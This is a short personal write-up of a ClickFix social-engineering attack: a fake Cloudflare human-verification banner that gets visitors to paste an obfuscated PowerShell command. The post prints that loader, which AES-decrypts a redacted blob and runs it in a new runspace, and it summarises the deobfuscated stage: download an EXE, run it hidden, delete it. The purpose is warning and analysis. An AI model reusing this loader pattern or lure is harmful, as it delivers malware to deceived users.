ClickFix Attack Write Up
The internet can be an interesting and dangerous place. While doing research the other day for a project, I finally encountered a site that seems to have been taken over by my malicious actors to execute a ClickFix style attack. ClickFix Social Engineering schemes have gained popularity in recent months, but this was my first time encountering one in the wild. I wanted to share a quick write-up for interested colleagues, even though its different from what I was intending to do with this page.
There are several variations on the ClickFix theme, but they all follow a similar pattern. When accessing a site, a banner of some kind prompts the user to open a run dialog on their machine and paste and obfuscated command. The commands execute a malicious payload to deliver whatever form of malware attackers wish. From this point on, the attacker can complete whatever they wish with the victim’s machine. The rest of this post is an analysis of what happened but the site that I visited. For everyone’s safety, I won’t share the site and have slightly altered code samples to point to non-existent locations.
Upon visiting the malicious page, users are greeted with something resembling a Cloudflare banner to confirm humanity.
Selecting the "Verify you are human" option opens a dialog to help the attack.
This is where alarm bells immediately went off. No random web page should ever ask to run something as admin! The string copied was the following-
$chunk9m=[Security.Cryptography.RijndaelManaged]::new();$chunk9m.Key=[Convert]::FromBase64String('REDACTED');$chunk9m.IV=[Convert]::FromBase64String('REDACTED');$chunk9m.Mode='CBC';$chunk9m.Padding='PKCS7';$record4k=[Convert]::FromBase64String('REDACTED');$response8d=[Text.Encoding]::UTF8.GetString($chunk9m.CreateDecryptor().TransformFinalBlock($record4k,0,$record4k.Length));$chunk9m.Dispose();$rs=[runspacefactory]::CreateRunspace();$rs.Open();$pp=$rs.CreatePipeline();$pp.Commands.AddScript($response8d);$pp.Invoke();$rs.Close();exit
Not wanting to execute the code and still see what it did, I turned to ChatGPT to help with some deobfuscation. The authors in the attack go to great lengths to hide what the chucks (replaced with REDACTED) are attempting to do.
ChatGPT helped to return the following-
Downloads an EXE from:
REDACTED
Saves it to a random file under:
%LOCALAPPDATA%\Temp\random\random.exe
Runs it hidden:
Start-Process -WindowStyle Hidden
Then attempts to delete the EXE.
This is just an example of the attack, but I was rather interesting to take and look and see what's going on across the web. Microsoft seems to be taking some action against this attack vector, according to the learn article linked at the top, but results may be mixed.
Stay safe out there!
Comments
Post a Comment